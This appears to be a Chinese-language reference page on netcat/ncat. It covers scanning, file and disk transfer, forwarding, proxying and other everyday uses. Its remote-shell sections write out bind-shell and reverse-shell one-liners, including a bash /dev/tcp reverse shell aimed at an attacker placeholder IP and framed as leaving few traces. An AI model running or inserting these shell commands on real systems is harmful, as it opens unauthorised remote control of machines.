Skip to content
On this page

nc(netcat ncat)

https://nmap.org/ncat

Install

  • rhel
bash
yum install -y nc
  • debian
  • windows

nc常用参数

nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

bash
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

nc扫描端口连通性

nc端口扫描TCP

bash
nc -nvv 192.168.0.1 80 # 扫描 80端口

nc端口扫描TCP端口范围

bash
nc -v -z -w2 192.168.0.3 1-100

nc端口扫描UDP

bash
nc -u -z -w2 192.168.0.1 1-1000 
# 扫描192.168.0.3 的端口 范围是 1-1000

nc常用使用场景

建议方式: 在接收端listen监听端口

nc传输文件

主要利用了系统IO重定向或pipe的功能.

发送端通过pipe把文件数据传递给stdin,或者通过重定向把stdin重定向到某个文件上,然后接受端只要对stdout进行重定向把它定向到目标文件上去即可。

bash
receiver: nc -l 9999 > a.txt
sender: nc receiver 9999 < a.txt

实验:

cp server:a.txt client:b.txt

bash
server: nc -l 8089 < a.txt  # -p 参数可省略
client: nc -n serverIP 8089 > b.txt
# 需要手工端开

cp client:b.txt server:a.txt

bash
server: nc -l -p 8089 > a.txt # -p 参数可省略
client: nc -n serverIP 8089 < b.txt
# 传输完成自动断开

这个功能说成传文件说的有些狭隘了,总之就是传递数据,理论上可以把接收端的数据(可能是某种格式编码的)直接传给对应的处理软件去执行,举个例子比如说看个视频什么的。

nc传输目录

cp sender:/home receiver:/tmp/

压缩格式tar.gz

bash
receiver:  nc -l 9999| tar zxf - -C /home
sender: tar zcf - /home | nc receiver 9999 
# 一定不要忽略横杠-,表示使用内存,不落地

压缩格式tar.bz2

bash
receiver:  nc -l 9999| bzip2 -d | tar zxf - # -C /home 解压到某个目录
sender: tar zcf - /home | bzip2 -z | nc receiver 9999

nc远程克隆硬盘或分区

不能是已经mount的磁盘分区

bash
receiver:  nc -l 9999| dd of=/dev/sdb
sender: dd if=/dev/sdb | nc receiver 9999

远程shell(通过nc反向shell)

-e 后面看跟的什么参数了, 比如cmd.exe

方式1:

bash
server: nc -l -p 8089 -vvvv
client: /bin/bash | nc serverIP 8089

方式2:

bash
server: nc -l 10000 -e /bin/bash
client: nc serverIP 10000

方式3:

说明: 从网络收到的输入写到fifo文件中 cat 命令读取fifo文件并且其内容发送给sh命令 sh命令进程受到输入并把它写回到netcat。 netcat 通过网络发送输出到client 至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。 在客户端仅仅简单连接到服务器

bash
# server:
# 创建一个fifo文件
mkfifo /tmp/tmp_fifo
# 用管道命令把这个fifo文件内容定向到shell 2>&1中, 是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口9999上。
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 9999 > /tmp/tmp_fifo
# cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 9999 > /tmp/tmp_fifo

# client:
nc -n serverIP 9999

远程shell(通过bash反向shell)

参考bash

这种技术是当远程机器上没有netcat或你想做一些非自然的事情而不想留下太重的痕迹时使用。

bash
# 攻击者,本地客户端
nc -n -vv -l -p 9999

# 被访问者, 远程服务器
bash -i > /dev/tcp/<clientIP>/9999 0<&1 2>&1

nc端口转发

bash
# -c 来用 nc 进行端口转发,实现端口转发的语法为:
ncat -u -l  80 -c  'ncat -u -l 8080'
# 所有连接到 80 端口的连接都会转发到 8080 端口。

nc使用-w设置客户端超时时间

nc 的监听模式会一直运行,直到手工终止。

不过我们可以通过选项 -w 设置超时时间:

bash
ncat -w 10 192.168.1.100 8080
# 这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

nc使用 -k 选项强制 nc 待命

当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。 命令如下:

bash
$ ncat -l -k 8080
现在即使来自客户端的连接断了也依然会处于待命状态。

nc指定源端口

bash
假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端
$nc -l 1567

客户端
$nc 172.31.100.7 1567 -p 25
使用1024以内的端口需要root权限。
该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

nc发出http请求,并接收server响应 (类似curl)待测试

bash
echo -ne "GET / HTTP/1.0\r\n\r\n" | nc www.baidu.com 443
printf "GET / HTTP/1.0rnrn" | nc www.baidu.com 443

nc使用SMTP发送邮件

bash
$ nc smtp_server_ip_address 25 << EOF
HELO host.example.com
MAIL FROM:<username@host.example.com>
RCPT TO:<receiver@host.example.com>
DATA
Body of email.
.
QUIT
EOF

nc聊天

不管你在机器B上键入什么都会出现在机器A上。

bash
# A:
[root@server2 ~]# nc -l 1234 
hello!
hi!

# B:
[root@server1 ~]# nc  A_IP 1234 
hello!
hi!

nc加密通过网络发送的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

bash
服务端
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。

客户端
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。 以上两个命令会提示需要密码,确保两端使用相同的密码。

这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

nc流视频

虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。

bash
服务端
$cat video.avi | nc -l 1567


客户端 这里我们只是从一个视频文件中读入并重定向输出到netcat客户端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

nc通过Proxy连接

bash
這指令會使用 10.2.3.4:8080 這個代理伺服器,
連線至 host.example.com  42 連接埠。

nc -x10.2.3.4:8080 -Xconnect host.example.com 42

nc用作代理proxy

bash
nc 也可以用来做代理。比如下面这个例子,

$ ncat -l 8080 | ncat 192.168.1.200 80
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:

$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way
现在你可以通过 nc 代理来收发数据了。

nc建立Unix Domain Socket

這行指令會建立一個 Unix Domain Socket,並接收資料

bash
nc -lU /var/tmp/dsocket

Last updated:

Released under the MIT License.